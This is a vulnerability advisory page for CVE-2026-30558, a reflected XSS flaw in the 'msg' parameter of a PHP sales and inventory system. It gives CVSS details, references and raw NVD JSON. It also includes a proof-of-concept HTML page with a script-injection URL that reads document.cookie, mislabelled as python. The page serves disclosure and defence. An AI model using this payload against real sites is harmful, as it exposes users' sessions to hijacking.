CVE-2026-30558

Description

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_customer.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:* - VULNERABLE

SourceCodester Sales and Inventory System 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-30558
Vulnerable File: add_customer.php
Vulnerable Parameter: msg
-->

<!-- Attack URL Example -->
<!-- http://target.com/add_customer.php?msg=<script>alert(document.cookie)</script> -->

<html>
  <body>
    <h3>CVE-2026-30558 XSS PoC</h3>
    <p>Click the link below to test:</p>
    <a href="http://target.com/add_customer.php?msg=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E">
      Exploit Link
    </a>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30558
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30558
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30558/
[4] VulDB https://vuldb.com/cve/CVE-2026-30558
[5] https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddCustomer-msg.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30558", "sourceIdentifier": "[email protected]", "published": "2026-03-30T16:16:05.417", "lastModified": "2026-04-06T14:16:24.023", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_customer.php file via the \"msg\" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en SourceCodester Sales and Inventory System 1.0. La vulnerabilidad se encuentra en el archivo add_customer.PHP a través del parámetro 'msg'. La aplicación no logra sanear la entrada, permitiendo a atacantes remotos inyectar scripts web o HTML arbitrarios a través de una URL manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5A75B7A5-65D7-4AF9-BDE8-EBD496A4942B"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddCustomer-msg.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}